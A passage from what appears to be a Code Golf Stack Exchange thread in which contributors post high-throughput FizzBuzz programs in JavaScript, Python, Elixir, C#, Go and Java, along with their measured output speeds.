11n)\n writeFizz()\n writeBigInt(i + 13n)\n writeBigInt(i + 14n)\n writeFizzBuzz()\n if (cycles >= CYCLES) {\n printAndResetBuffer()\n cycles = 0\n }\n }\n printAndResetBuffer()\n}\nfizzbuzz()\n```\nThis runs at an astonishing ~8MB/s. Replacing all the `BigInt`s with native numbers runs at ~50MB/s.\nI can't believe this was the fastest solution that I can come up with that doesn't eventually hit OOM errors.\n# Worker threads\n```\nconst { Worker, isMainThread, parentPort, workerData } = require('worker_threads')\nconst MAX = 0x7FFFFFFFFFFFFFFFn\nconst BUFFER_SIZE = 64 * 1024\nconst MAX_DECIMALS = 19 // 19 max bytes (decimal places) for 2^63-1\nconst BASE10 = [...Array(MAX_DECIMALS + 1).keys()].map((i) => 10n ** BigInt(i))\nconst FIZZ_BUZZ_PER_CYCLE = (15 / 3) + (15 / 5)\nconst INT_PER_CYCLE = 15 - FIZZ_BUZZ_PER_CYCLE\nconst BYTES_PER_CYCLE = (FIZZ_BUZZ_PER_CYCLE * 4) + (INT_PER_CYCLE * MAX_DECIMALS) // 4 bytes for 'fizz' and 'buzz'',\nconst CYCLES = Math.floor(BUFFER_SIZE / BYTES_PER_CYCLE)\nconst INTS_PER_CYCLE = BigInt(CYCLES) * 15n\nconst THREADS = 12\nasync function fizzbuzz() {\n if (isMainThread) {\n const sharedStrBuffer = new SharedArrayBuffer(THREADS * BUFFER_SIZE)\n const sharedCanConsumeBuffer = new SharedArrayBuffer(THREADS * Int32Array.BYTES_PER_ELEMENT)\n const sharedCanProduceBuffer = new SharedArrayBuffer(THREADS * Int32Array.BYTES_PER_ELEMENT)\n const strBuffer = new Uint8Array(sharedStrBuffer)\n const canConsume = new Int32Array(sharedCanConsumeBuffer) // when non-zero, it stores the position of the last character\n const canProduce = new Int32Array(sharedCanProduceBuffer) // when non-zero, worker thread can work\n const workers = []\n for (let threadId = 0; threadId < THREADS; threadId++) {\n canConsume[threadId] = 0\n canProduce[threadId] = 1\n const worker = new Worker(__filename, {\n workerData: {\n threadId,\n sharedStrBuffer,\n sharedCanConsumeBuffer,\n sharedCanProduceBuffer,\n }\n })\n workers.push(worker)\n }\n const step = INTS_PER_CYCLE * BigInt(THREADS)\n for (let i = 0n; i < MAX; i += step) {\n for (let threadId = 0; threadId < THREADS; threadId++) {\n Atomics.wait(canConsume, threadId, 0)\n const offsetStart = threadId * BUFFER_SIZE\n const offsetEnd = Atomics.load(canConsume, threadId)\n process.stdout.write(strBuffer.subarray(offsetStart, offsetEnd), 'ascii')\n Atomics.store(canProduce, threadId, 1)\n Atomics.notify(canProduce, threadId)\n }\n }\n } else {\n const { threadId } = workerData\n const strBuffer = new Uint8Array(workerData.sharedStrBuffer)\n const canConsume = new Int32Array(workerData.sharedCanConsumeBuffer)\n const canProduce = new Int32Array(workerData.sharedCanProduceBuffer)\n const initOffset = threadId * BUFFER_SIZE\n let offset = initOffset\n const writeFizz = () => {\n strBuffer[offset + 0] = 0x46\n strBuffer[offset + 1] = 0x69\n strBuffer[offset + 2] = 0x7a\n strBuffer[offset + 3] = 0x7a\n strBuffer[offset + 4] = 0x0a\n offset += 5\n }\n const writeBuzz = () => {\n strBuffer[offset + 0] = 0x42\n strBuffer[offset + 1] = 0x75\n strBuffer[offset + 2] = 0x7a\n strBuffer[offset + 3] = 0x7a\n strBuffer[offset + 4] = 0x0a\n offset += 5\n }\n const writeFizzBuzz = () => {\n strBuffer[offset + 0] = 0x46\n strBuffer[offset + 1] = 0x69\n strBuffer[offset + 2] = 0x7a\n strBuffer[offset + 3] = 0x7a\n strBuffer[offset + 4] = 0x42\n strBuffer[offset + 5] = 0x75\n strBuffer[offset + 6] = 0x7a\n strBuffer[offset + 7] = 0x7a\n strBuffer[offset + 8] = 0x0a\n offset += 9\n }\n // Works between 1 to 2^63-1\n const writeBigInt = (n) => {\n let hasLeading = false\n for (let exp = MAX_DECIMALS; exp >= 0; exp--) {\n const divisor = BASE10[exp]\n if (n >= divisor) {\n const digit = n / divisor\n n = n % divisor\n strBuffer[offset] = 0x30 + Number(digit)\n offset += 1\n hasLeading = true\n } else if (hasLeading) {\n strBuffer[offset] = 0x30\n offset += 1\n }\n }\n strBuffer[offset] = 0x0a\n offset += 1\n }\n const intsPerGlobalCycle = INTS_PER_CYCLE * BigInt(THREADS)\n const totalCycles = (MAX / intsPerGlobalCycle) + 1n\n for (let c = 0n; c < totalCycles; c++) {\n Atomics.wait(canProduce, threadId, 0)\n \n const startInt = (c * intsPerGlobalCycle) + (BigInt(threadId) * INTS_PER_CYCLE)\n const endInt = (startInt + INTS_PER_CYCLE > MAX)\n ? MAX\n : startInt + INTS_PER_CYCLE\n for (let i = startInt; i < endInt; i += 15n) {\n writeBigInt(i + 1n)\n writeBigInt(i + 2n)\n writeFizz()\n writeBigInt(i + 4n)\n writeBuzz()\n writeFizz()\n writeBigInt(i + 7n)\n writeBigInt(i + 8n)\n writeFizz()\n writeBuzz()\n writeBigInt(i + 11n)\n writeFizz()\n writeBigInt(i + 13n)\n writeBigInt(i + 14n)\n writeFizzBuzz()\n }\n Atomics.store(canConsume, threadId, offset)\n Atomics.notify(canConsume, threadId)\n offset = initOffset\n Atomics.store(canProduce, threadId, 0)\n }\n }\n}\nfizzbuzz()\n```\nAfter running a profiler on my single threaded solution, the biggest slowdown was these 2 lines:\n```\nconst digit = n / divisor\nn = n % divisor\n```\nWhich makes sense considering that it's division operation on `BigInt`. I've also thought of using WebAssembly or some C module to access native 64-bit ints but I think that defeats the purpose of this exercise as I want to use pure JavaScript.\nPushing this computation onto worker threads allowed this solution to run at ~380 MB/s with 12 threads.\n**Side note:** For some reason, my `pv` command freezes when testing:\n```\nnode worker-threads.js | pv > /dev/null\n93.7KiB 0:00:10 [0.00 B/s]\n```\nInstead I piped the output to a temp file `timeout 30 node worker-threads.js > tmp.txt` and then just manually calculated `speed = tmp.txt size / 30s`. Maybe someone can offer some insight why this is happening for me.\n[Answer]\nThis python two-liner (!) is getting >500 MiB/s with pypy on MacBook Pro M1 Max:\n```\n$ cat fizzbuzz.py\nfor i in range (0,1000000000000,15):\n print(\"%d\\n%d\\nfizz\\n%d\\nbuzz\\nfizz\\n%d\\n%d\\nfizz\\nbuzz\\n%d\\nfizz\\n%d\\n%d\\nfizzbuzz\\n\" \n % (1+i, 2+i, 4+i, 7+i, 8+i, 11+i, 13+i, 14+i))\n$ python3 fizzbuzz.py|pv > /dev/null\n3.73GiB 0:00:27 [ 143MiB/s] [ \n$ pypy fizzbuzz.py|pv > /dev/null\n70.3GiB 0:02:17 [ 525MiB/s] [\n```\nPypy throughput is very stable at around 522-525 MiB/s.\nI can get additional 100 MiB/s by working on 30 values at the time.. so there's more to achieve by further output chunking.\nA bit boring solution, but by stepping 60 at the time, this achieves 740 MiB/s with pypy, and 180 MiB/s with python3:\n```\nimport sys\nfor i in range (0,100000000000,60):\n sys.stdout.write(\"%d\\n%d\\nfizz\\n%d\\nbuzz\\nfizz\\n%d\\n%d\\nfizz\\nbuzz\\n%d\\nfizz\\n%d\\n%d\\nfizzbuzz\\n%d\\n%d\\nfizz\\n%d\\nbuzz\\nfizz\\n%d\\n%d\\nfizz\\nbuzz\\n%d\\nfizz\\n%d\\n%d\\nfizzbuzz\\n%d\\n%d\\nfizz\\n%d\\nbuzz\\nfizz\\n%d\\n%d\\nfizz\\nbuzz\\n%d\\nfizz\\n%d\\n%d\\nfizzbuzz\\n%d\\n%d\\nfizz\\n%d\\nbuzz\\nfizz\\n%d\\n%d\\nfizz\\nbuzz\\n%d\\nfizz\\n%d\\n%d\\nfizzbuzz\\n\"\n % ( 1+i, 2+i, 4+i, 7+i, 8+i, 11+i, 13+i, 14+i,\n 16+i, 17+i, 19+i, 22+i, 23+i, 26+i, 28+i, 29+i,\n 31+i, 32+i, 34+i, 37+i, 38+i, 41+i, 43+i, 44+i,\n 46+i, 47+i, 49+i, 52+i, 53+i, 56+i, 58+i, 59+i ))\n$ python3 fizzbuzz.py|pv > /dev/null\n18.1GiB 0:01:40 [ 185MiB/s] \n$ pypy fizzbuzz.py|pv > /dev/null\n30.1GiB 0:00:42 [ 739MiB/s] [\n```\n[Answer]\nHere's my answer in *Elixir*: \nIts a full-fledged mix project, so I hosted it on GitHub. On my system MacBook Pro 16-inch 2019 (2.6 GHz 6-Core Intel Core i7), I get the following throughput:\n* OP's naive C implementation: 68 MiB/s\n* My naive elixir implementation: 2 MiB/s\n* My concurrent elixir implementation: 225 MiB/s (breached 200 MiB/s, yay!)\nMy latest optimization:\n* Using a binary as my GenServer state instead of iolist in `Fizzbuzz.Worker`. This reduces message passing overhead when calling `IO.binwrite` while issuing `print` command.\nHere's the code:\n```\ndefmodule Fizzbuzz do\n def fizzbuzz_no_io(enumerable) do\n Stream.map(enumerable, &reply/1)\n |> Stream.chunk_every(5000)\n |> Enum.into([])\n end\n def reply(n) when rem(n, 15) == 0, do: <<70, 105, 122, 122, 66, 117, 122, 122, 10>>\n def reply(n) when rem(n, 3) == 0, do: <<70, 105, 122, 122, 10>>\n def reply(n) when rem(n, 5) == 0, do: <<66, 117, 122, 122, 10>>\n def reply(n), do: [Integer.to_string(n), <<10>>]\nend\ndefmodule Fizzbuzz.Cli do\n def main([lower, upper]) do\n {lower, upper} = {String.to_integer(lower), String.to_integer(upper)}\n chunk_size = min(div(upper - lower, System.schedulers_online()), 6000)\n if chunk_size == 6000 do\n # We'll divide the input range into 3 parts: beginning, 6k ranges and ending\n # beginning and ending will be processed before and after stream.run respectively.\n input_lower =\n case rem(lower, 15) do\n 1 ->\n lower\n 0 ->\n IO.binwrite(\"FizzBuzz\\n\")\n lower + 1\n remainder ->\n IO.binwrite(Fizzbuzz.fizzbuzz_no_io(lower..(15 - remainder + lower)))\n 15 - remainder + lower + 1\n end\n input_upper =\n case rem(upper - input_lower + 1, 6000) do\n 0 -> upper\n remainder -> upper - remainder\n end\n input_enumerable = Chunk6kStream.create(input_lower..input_upper)\n Task.async_stream(\n input_enumerable,\n fn input -> elem(GenServer.start_link(Fizzbuzz.Worker, [input]), 1) end,\n timeout: :infinity\n )\n |> Stream.map(fn {:ok, res} -> res end)\n |> Stream.each(fn pid ->\n GenServer.call(pid, :print)\n Process.exit(pid, :kill)\n end)\n |> Stream.run()\n if input_upper < upper do\n IO.binwrite(Fizzbuzz.fizzbuzz_no_io(input_upper+1..upper))\n end\n else\n input_enumerable = get_input_ranges2(lower, upper, chunk_size)\n Task.async_stream(\n input_enumerable,\n fn input -> elem(GenServer.start_link(Fizzbuzz.Worker, [input]), 1) end,\n timeout: :infinity\n )\n |> Stream.map(fn {:ok, res} -> res end)\n |> Stream.each(fn pid ->\n GenServer.call(pid, :print)\n Process.exit(pid, :kill)\n end)\n |> Stream.run()\n end\n end\n def main(_), do: IO.puts(\"Usage: fizzbuzz 1 10000\")\n defp get_input_ranges2(lower, upper, chunk_size) do\n # Need to make this streamable\n if chunk_size >= 10 do\n ChunkRangeStream.create(lower..upper, chunk_size)\n else\n [lower..upper]\n end\n end\nend\ndefmodule Chunk6kStream do\n # Make sure that range has size of multiples of 6000 and range.first is divisible by 15\n def create(range) do\n Stream.resource(fn -> initialize(range) end, &generate_next_value/1, &done/1)\n end\n defp initialize(range) do\n {range, range.first, range.last}\n end\n defp generate_next_value({range, lower, upper}) when lower == upper + 1 do\n {:halt, {range, upper, upper}}\n end\n defp generate_next_value({range, lower, upper}) do\n {[lower..(lower + 5999)], {range, lower + 6000, upper}}\n end\n defp done(_) do\n nil\n end\nend\ndefmodule ChunkRangeStream do\n def create(range, chunk_size) do\n Stream.resource(fn -> initialize(range, chunk_size) end, &generate_next_value/1, &done/1)\n end\n defp initialize(range, chunk_size) do\n {range, chunk_size, range.first}\n end\n defp generate_next_value({range, chunk_size, lower}) do\n if lower < range.last do\n {[lower..min(lower + chunk_size, range.last)],\n {range, chunk_size, min(range.last, lower + chunk_size + 1)}}\n else\n {:halt, {range, chunk_size, lower}}\n end\n end\n defp done(_) do\n nil\n end\nend\ndefmodule Fizzbuzz.Worker do\n use GenServer\n def init([range]) do\n send(self(), {:calculate, range})\n {:ok, []}\n end\n def handle_info({:calculate, range}, _state) do\n res = if Range.size(range) == 6000 do\n i = range.first - 1\n 0..(400-1)\n |> Stream.map(fn j ->\n [[Integer.to_string(15 * j + 1 + i), \"\\n\"], [Integer.to_string(15 * j + 2 + i), \"\\n\"], \"Fizz\\n\", [Integer.to_string(15 * j + 4 + i), \"\\n\"], \"Buzz\\nFizz\\n\", [Integer.to_string(15 * j + 7 + i), \"\\n\"], [Integer.to_string(15 * j + 8 + i), \"\\n\"], \"Fizz\\nBuzz\\n\", [Integer.to_string(15 * j + 11 + i), \"\\n\"], \"Fizz\\n\", [Integer.to_string(15 * j + 13 + i), \"\\n\"], [Integer.to_string(15 * j + 14 + i), \"\\n\"], \"FizzBuzz\\n\"]\n end)\n |> Stream.chunk_every(400)\n |> Enum.into([])\n else\n Fizzbuzz.fizzbuzz_no_io(range)\n end\n {:noreply, res |> :erlang.iolist_to_binary}\n end\n def handle_call(:print, _from, results) do\n IO.binwrite(results)\n {:reply, :ok, []}\n end\nend\n```\n```\n[Answer]\nI wrote two versions in C# 10: one using \"vanilla\" language features and one based on Isaac's implementation.\nIn the optimized version, I exploited the fact that an exact length memcpy is not necessary if the buffer is large enough. It's limited to 10^16 iterations, and the first 10 results have a leading 0 (I just thought it would be worth posting it anyway).\nResults:\n```\nOS: Ubuntu 20.04.3 LTS\nCPU: Intel(R) Xeon(R) Platinum 8171M CPU @ 2.60GHz\n(note: this is a GitHub Actions worker)\nAuthor Lang Avg. Speed\n-----------------------------------------------\nPaolo Bonzini C 11.38 GiB/s\nIsaac G. C 1.90 GiB/s\nNeil C 1.83 GiB/s\nKamila Szewczyk C 1.44 GiB/s\nDaniel C# (opt) 1006.00 MiB/s\nOlivier Gr√©goire Java 242.62 MiB/s\nDaniel C# (simpl) 125.125 MiB/s\n```\n## Simple version\n```\nusing System.Text;\nvar sb = new StringBuilder();\nulong c = 0;\nwhile (true) {\n while (sb.Length < 1024 * 1024 * 4) {\n sb.Append($\"{c + 1}\\n{c + 2}\\nFizz\\n{c + 4}\\nBuzz\\nFizz\\n{c + 7}\\n{c + 8}\\nFizz\\nBuzz\\n{c + 11}\\nFizz\\n{c + 13}\\n{c + 14}\\nFizzBuzz\\n\");\n c += 15;\n }\n Console.Out.Write(sb);\n sb.Clear();\n}\n```\n## \"Optimized\" version\n```\nusing System.Runtime.CompilerServices;\nusing System.Runtime.Intrinsics;\nusing var stdout = Console.OpenStandardOutput();\nvar buf = new byte[1024 * 1024 * 4];\nvar counter = new Counter();\nwhile (true) {\n int pos = 0;\n for (int i = 0; i < 4096; i++) {\n pos = Fill30(buf, pos, ref counter);\n }\n stdout.Write(buf.AsSpan(0, pos));\n}\nint Fill30(byte[] buf, int pos, ref Counter ctr)\n{\n var Fizz_ = 0x0A_7A_7A_69_46ul;\n var Fizz_Buzz_ = Vector128.Create(0x7A_75_42_0A_7A_7A_69_46ul, 0x0A_7A).AsByte();\n var Buzz_Fizz_ = Vector128.Create(0x7A_69_46_0A_7A_7A_75_42ul, 0x0A_7A).AsByte();\n var FizzBuzz__ = Vector128.Create(0x7A_7A_75_42_7A_7A_69_46, 0x0Aul).AsByte();\n //0..9\n var prefix = ctr.Get();\n int prefixLen = ctr.NumDigits;\n ctr.Inc();\n AddCtr(1);\n AddCtr(2);\n Add(Fizz_, 5);\n AddCtr(4);\n Add(Buzz_Fizz_, 10);\n AddCtr(7);\n AddCtr(8);\n Add(Fizz_Buzz_, 10);\n //10..19\n prefix = ctr.Get();\n prefixLen = ctr.NumDigits;\n ctr.Inc();\n \n AddCtr(1);\n Add(Fizz_, 5);\n AddCtr(3);\n AddCtr(4);\n Add(FizzBuzz__, 9);\n AddCtr(6);\n AddCtr(7);\n Add(Fizz_, 5);\n AddCtr(9);\n //20..29\n prefix = ctr.Get();\n prefixLen = ctr.NumDigits;\n ctr.Inc();\n \n Add(Buzz_Fizz_, 10);\n AddCtr(2);\n AddCtr(3);\n Add(Fizz_Buzz_, 10);\n AddCtr(6);\n Add(Fizz_, 5);\n AddCtr(8);\n AddCtr(9);\n Add(FizzBuzz__, 9);\n return pos;\n void Add(T val, int len)\n {\n //ref byte ptr = ref Unsafe.Add(ref MemoryMarshal.GetArrayDataReference(buf), pos);\n //Unsafe.WriteUnaligned(ref ptr, val);\n Unsafe.WriteUnaligned(ref buf[pos], val);\n pos += len;\n }\n void AddCtr(int digit)\n {\n Add(prefix, prefixLen);\n Add((short)(0x0A_30 + digit), 2); // \"\\n\" ascii in little endian\n }\n}\nunsafe struct Counter\n{\n public const int MAX_DIGITS = 16;\n public fixed byte Digits[MAX_DIGITS * 2];\n public int NumDigits;\n public Counter()\n {\n Unsafe.InitBlock(ref Digits[0], (byte)'0', MAX_DIGITS);\n NumDigits = 1;\n }\n public void Inc()\n {\n int i = MAX_DIGITS - 1;\n for (; i >= 0; i--) {\n if (Digits[i] != (byte)'9') {\n Digits[i]++;\n break;\n }\n Digits[i] = (byte)'0';\n }\n NumDigits = Math.Max(NumDigits, MAX_DIGITS - i);\n }\n public Vector128 Get()\n {\n ref byte ptr = ref Digits[MAX_DIGITS - NumDigits];\n return Unsafe.ReadUnaligned>(ref ptr);\n }\n}\n```\n```\n[Answer]\nDid answer with Go, got my Dell 5560 2.35G but please test with your system. 12 threads(routines in go terms) was best with this 8 core 2 threads per core cpu but please test other numbers too as it changes which is best. Thanks for interesting challenge!\n```\npackage main\nimport (\n \"os\"\n \"strconv\"\n \"sync\"\n \"unsafe\"\n)\nconst buffSize = 200000000\nconst innerloop = 25000\nconst routines = 12\nfunc main() {\n eightZeroLock := &sync.Mutex{}\n startLock := eightZeroLock\n endLock := &sync.Mutex{}\n endLock.Lock()\n for i := 0; i < routines-1; i++ {\n go routine(i, startLock, endLock)\n startLock = endLock\n endLock = &sync.Mutex{}\n endLock.Lock()\n }\n go routine(routines-1, startLock, eightZeroLock)\n wg := sync.WaitGroup{}\n wg.Add(1)\n wg.Wait()\n}\nfunc routine(num int, start, end *sync.Mutex) {\n counter := num * 15 * innerloop\n var sb Builder\n sb.Grow(buffSize)\n for {\n for i := 0; i < innerloop; i++ {\n sb.WriteString(strconv.Itoa(counter + 1))\n sb.WriteString(\"\\n\")\n sb.WriteString(strconv.Itoa(counter + 2))\n sb.WriteString(\"\\nFizz\\n\")\n sb.WriteString(strconv.Itoa(counter + 4))\n sb.WriteString(\"\\nBuzz\\nFizz\\n\")\n sb.WriteString(strconv.Itoa(counter + 7))\n sb.WriteString(\"\\n\")\n sb.WriteString(strconv.Itoa(counter + 8))\n sb.WriteString(\"\\nFizz\\nBuzz\\n\")\n sb.WriteString(strconv.Itoa(counter + 11))\n sb.WriteString(\"\\nFizz\\n\")\n sb.WriteString(strconv.Itoa(counter + 13))\n sb.WriteString(\"\\n\")\n sb.WriteString(strconv.Itoa(counter + 14))\n sb.WriteString(\"\\nFizzBuzz\\n\")\n counter += 15\n }\n start.Lock()\n os.Stdout.WriteString((sb.String()))\n end.Unlock()\n sb.buf = sb.buf[:0]\n counter += 15 * (routines - 1) * innerloop\n }\n}\n// After this copied from go stringBuilder(some lines removed)\n// Copyright 2017 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n// A Builder is used to efficiently build a string using Write methods.\n// It minimizes memory copying. The zero value is ready to use.\n// Do not copy a non-zero Builder.\ntype Builder struct {\n addr *Builder // of receiver, to detect copies by value\n buf []byte\n}\n// noescape hides a pointer from escape analysis. noescape is\n// the identity function but escape analysis doesn't think the\n// output depends on the input. noescape is inlined and currently\n// compiles down to zero instructions.\n// USE CAREFULLY!\n// This was copied from the runtime; see issues 23382 and 7921.\n//go:nosplit\n//go:nocheckptr\nfunc noescape(p unsafe.Pointer) unsafe.Pointer {\n x := uintptr(p)\n return unsafe.Pointer(x ^ 0)\n}\nfunc (b *Builder) copyCheck() {\n if b.addr == nil {\n // This hack works around a failing of Go's escape analysis\n // that was causing b to escape and be heap allocated.\n // See issue 23382.\n // TODO: once issue 7921 is fixed, this should be reverted to\n // just \"b.addr = b\".\n b.addr = (*Builder)(noescape(unsafe.Pointer(b)))\n } else if b.addr != b {\n panic(\"strings: illegal use of non-zero Builder copied by value\")\n }\n}\n// String returns the accumulated string.\nfunc (b *Builder) String() string {\n return *(*string)(unsafe.Pointer(&b.buf))\n}\n// grow copies the buffer to a new, larger buffer so that there are at least n\n// bytes of capacity beyond len(b.buf).\nfunc (b *Builder) grow(n int) {\n buf := make([]byte, len(b.buf), 2*cap(b.buf)+n)\n copy(buf, b.buf)\n b.buf = buf\n}\n// Grow grows b's capacity, if necessary, to guarantee space for\n// another n bytes. After Grow(n), at least n bytes can be written to b\n// without another allocation. If n is negative, Grow panics.\nfunc (b *Builder) Grow(n int) {\n if n < 0 {\n panic(\"strings.Builder.Grow: negative count\")\n }\n if cap(b.buf)-len(b.buf) < n {\n b.grow(n)\n }\n}\n// WriteString appends the contents of s to b's buffer.\n// It returns the length of s and a nil error.\nfunc (b *Builder) WriteString(s string) (int, error) {\n b.buf = append(b.buf, s...)\n return len(s), nil\n}\n```\ngo run main.go | pv -a >/dev/null\nGithub: \n[Answer]\nUpdated code: This code (no more strings) gets me to 4.8GiB/s. Can't break the 5 GiB/s barrier on the M1 with the naive implementation :-(. Also, larger segments, even more memory. However, this has better throughput than just writing empty arrays to the stdout (even with draining to the direct byte buffer).\n```\nimport java.io.FileDescriptor;\nimport java.io.FileOutputStream;\nimport java.nio.ByteBuffer;\nimport java.nio.charset.StandardCharsets;\nimport java.util.LinkedList;\nimport java.util.Optional;\nimport java.util.Queue;\nimport java.util.concurrent.CompletableFuture;\nimport java.util.concurrent.ForkJoinPool;\nimport java.util.function.Consumer;\nimport java.util.function.Supplier;\nimport java.util.stream.IntStream;\npublic class FizzBuzz {\n static final String NEWLINE = String.format(\"%n\");\n static byte[] fizzbuzz = \"fizzbuzz\\n\".getBytes(StandardCharsets.ISO_8859_1);\n static byte[] fizz = \"fizz\\n\".getBytes(StandardCharsets.ISO_8859_1);\n static byte[] buzz = \"buzz\\n\".getBytes(StandardCharsets.ISO_8859_1);\n static byte newline = \"\\n\".getBytes(StandardCharsets.ISO_8859_1)[0];\n static byte zero = (byte) '0';\n static int fizzBuzz(long src, byte[] destination, int destinationPos, byte[] digitsHelper, int digitsHelperLast) {\n if (src % 15 == 0) {\n System.arraycopy(fizzbuzz, 0, destination, destinationPos, fizzbuzz.length);\n return destinationPos + fizzbuzz.length;\n } else if (src % 5 == 0) {\n System.arraycopy(fizz, 0, destination, destinationPos, fizz.length);\n return destinationPos + fizz.length;\n } else if (src % 3 == 0) {\n System.arraycopy(buzz, 0, destination, destinationPos, buzz.length);\n return destinationPos + buzz.length;\n } else {\n do {\n digitsHelper[digitsHelperLast--] = (byte) (zero + src % 10);\n src /= 10;\n } while (src != 0);\n int len = digitsHelper.length - digitsHelperLast;\n System.arraycopy(digitsHelper, digitsHelperLast, destination, destinationPos, len);\n return destinationPos + len;\n }\n }\n record Pair(byte[] item1, ByteBuffer item2) {\n }\n public static void main(String[] argv) throws Exception {\n final var channel = new FileOutputStream(FileDescriptor.out).getChannel();\n final Consumer writeToChannel = bb -> {\n try {\n while (bb.hasRemaining()) {\n channel.write(bb);\n }\n } catch (Exception ex) {\n ex.printStackTrace();\n System.exit(1);\n }\n };\n final var segment = 10_000_000;\n final var arralloc = 20 * segment;\n final Queue> queue =\n new LinkedList<>\n (IntStream.range(0, Optional.of(ForkJoinPool.getCommonPoolParallelism() - 1).filter(i -> i > 0).orElse(1))\n .mapToObj(i ->\n CompletableFuture.completedFuture(new Pair(new byte[arralloc], ByteBuffer.allocateDirect(arralloc)))).toList());\n CompletableFuture last = CompletableFuture.completedFuture(null);\n final Supplier supplier = () -> {\n try {\n return queue.poll().get();\n } catch (Exception ex) {\n ex.printStackTrace();\n System.exit(1);\n return null;\n }\n };\n var nr = 0L;\n while (true) {\n final var start = nr;\n final var end = nr + segment;\n final var finalLast = last;\n var cf = CompletableFuture.completedFuture(supplier.get())\n .thenApplyAsync(p -> {\n var arr = p.item1();\n var bb = p.item2();\n var pos = 0;\n var digitsHelper = new byte[20];\n digitsHelper[19] = newline;\n for (long l = start; l < end; l++) {\n pos = fizzBuzz(l, arr, pos, digitsHelper, 18);\n }\n bb.clear();\n bb.put(arr, 0, pos);\n bb.flip();\n return p;\n })\n .thenCombineAsync(finalLast, (p, v) -> {\n try {\n channel.write(p.item2());\n } catch (Exception ex) {\n ex.printStackTrace();\n System.exit(1);\n }\n return p;\n });\n queue.add(cf);\n last = cf;\n nr = end;\n }\n }\n}\n```\nRegular Java, no tricks on fizzbuzz, needs quite a bit of memory and benefits from multiple threads. On my M1 Pro w/ Java 17 I am at 4.3GiB/s (9 threads + 1 main). ByteBuffer writes max out the channel at ~ 5GiB/s piped via pv (without fizzbuzz).\n```\nimport java.io.FileDescriptor;\nimport java.io.FileOutputStream;\nimport java.nio.ByteBuffer;\nimport java.nio.charset.StandardCharsets;\nimport java.util.LinkedList;\nimport java.util.Optional;\nimport java.util.Queue;\nimport java.util.concurrent.CompletableFuture;\nimport java.util.concurrent.ForkJoinPool;\nimport java.util.function.Consumer;\nimport java.util.function.Supplier;\nimport java.util.stream.IntStream;\npublic class FizzBuzz {\n static final String NEWLINE = String.format(\"%n\");\n static StringBuilder fizzBuzz(long src, StringBuilder destination) {\n if (src % 15 == 0) {\n destination.append(\"fizzbuzz\");\n } else if (src % 5 == 0) {\n destination.append(\"fizz\");\n } else if (src % 3 == 0) {\n destination.append(\"buzz\");\n } else {\n destination.append(src);\n }\n return destination.append(NEWLINE);\n }\n record Pair(T1 item1, T2 item2) {\n }\n public static void main(String[] argv) throws Exception {\n final var channel = new FileOutputStream(FileDescriptor.out).getChannel();\n final Consumer writeToChannel = bb -> {\n try {\n while (bb.hasRemaining()) {\n channel.write(bb);\n }\n } catch (Exception ex) {\n ex.printStackTrace();\n System.exit(1);\n }\n };\n final Queue>> queue =\n new LinkedList<>\n (IntStream.range(0, Optional.of(ForkJoinPool.getCommonPoolParallelism() - 1).filter(i -> i > 0).orElse(1))\n .mapToObj(i ->\n CompletableFuture.completedFuture(new Pair<>(new StringBuilder(20 * 1024 * 1024), ByteBuffer.allocateDirect(41 * 1024 * 1024)))).toList());\n CompletableFuture last = CompletableFuture.completedFuture(null);\n final Supplier> supplier = () -> {\n try {\n return queue.poll().get();\n } catch (Exception ex) {\n ex.printStackTrace();\n System.exit(1);\n return null;\n }\n };\n var nr = 0L;\n var segment = 1_000_000L;\n while (true) {\n final var start = nr;\n final var end = nr + segment;\n final var finalLast = last;\n var cf = CompletableFuture.completedFuture(supplier.get())\n .thenApplyAsync(p -> {\n var sb = p.item1();\n var bb = p.item2();\n sb.delete(0, sb.length());\n for (long l = start; l < end; l++) {\n fizzBuzz(l, sb);\n }\n bb.clear();\n bb.put(sb.toString().getBytes(StandardCharsets.UTF_8));\n return p;\n })\n .thenCombineAsync(finalLast, (p, v) -> {\n try {\n channel.write(p.item2().flip());\n } catch (Exception ex) {\n ex.printStackTrace();\n System.exit(1);\n }\n return p;\n });\n queue.add(cf);\n last = cf;\n nr = end;\n }\n }\n}\n```\n[Answer]\n# Java 17\nCompile and run with `java FizzBuzz.java`.\nThe algorithm is correct for numbers up to 2^63-1.\n```\nimport java.io.FileDescriptor;\nimport java.io.FileOutputStream;\nimport java.nio.ByteBuffer;\nimport java.util.concurrent.Callable;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.Future;\nimport java.util.concurrent.LinkedBlockingQueue;\nimport static java.nio.charset.StandardCharsets.US_ASCII;\npublic final class FizzBuzz {\n private static final int BUFFER_SIZE = 1 << 16;\n private static final long STARTING_NUMBER = 10L;\n private static final long SIZE_FOR_30 = 2 * (17 * 8 + 47);\n private static final long FULL_INCREMENT = BUFFER_SIZE / SIZE_FOR_30 * 30;\n private static final long LIGHT_INCREMENT = FULL_INCREMENT - 30;\n private static final int[] BASE_IDX = {-1, 6, 8, 19, 21, 28, 40, 42, 54, 61, 63, 74, 76, 83, 95, 97};\n private static final int[][] IDX = new int[19][16];\n static {\n IDX[1] = BASE_IDX;\n for (var i = 2; i < IDX.length; i++) {\n for (var j = 0; j < 16; ) {\n IDX[i][j] = IDX[i - 1][j] + ++j;\n }\n }\n }\n public static void main(String[] args) {\n var threads = Runtime.getRuntime().availableProcessors();\n var queue = new LinkedBlockingQueue>(threads);\n var executor = Executors.newFixedThreadPool(threads);\n try (var outputStream = new FileOutputStream(FileDescriptor.out);\n var channel = outputStream.getChannel()) {\n var counter = STARTING_NUMBER;\n for (var i = 0; i < threads; i++) {\n var buffer = ByteBuffer.allocateDirect(BUFFER_SIZE);\n queue.offer(executor.submit(new Task(counter, buffer)));\n counter += FULL_INCREMENT;\n }\n channel.write(ByteBuffer.wrap(\"1\\n2\\nFizz\\n4\\nBuzz\\nFizz\\n7\\n8\\nFizz\\nBuzz\\n\".getBytes(US_ASCII)));\n while (true) {\n var buffer = queue.poll().get();\n channel.write(buffer);\n queue.offer(executor.submit(new Task(counter, buffer)));\n counter += FULL_INCREMENT;\n }\n } catch (Exception e) {\n e.printStackTrace(System.err);\n } finally {\n executor.shutdown();\n }\n }\n record Task(long startingNumber, ByteBuffer buffer) implements Callable {\n @Override\n public ByteBuffer call() {\n buffer.clear();\n var n = startingNumber;\n var nextPowerOf10 = 10L;\n var digitCount = 1;\n for (; nextPowerOf10 <= n; nextPowerOf10 *= 10L) {\n digitCount++;\n }\n var idx = IDX[digitCount];\n var t = n / 10L;\n var s = Long.toString(t);\n var template = (s + \"1\\nFizz\\n\" +\n s + 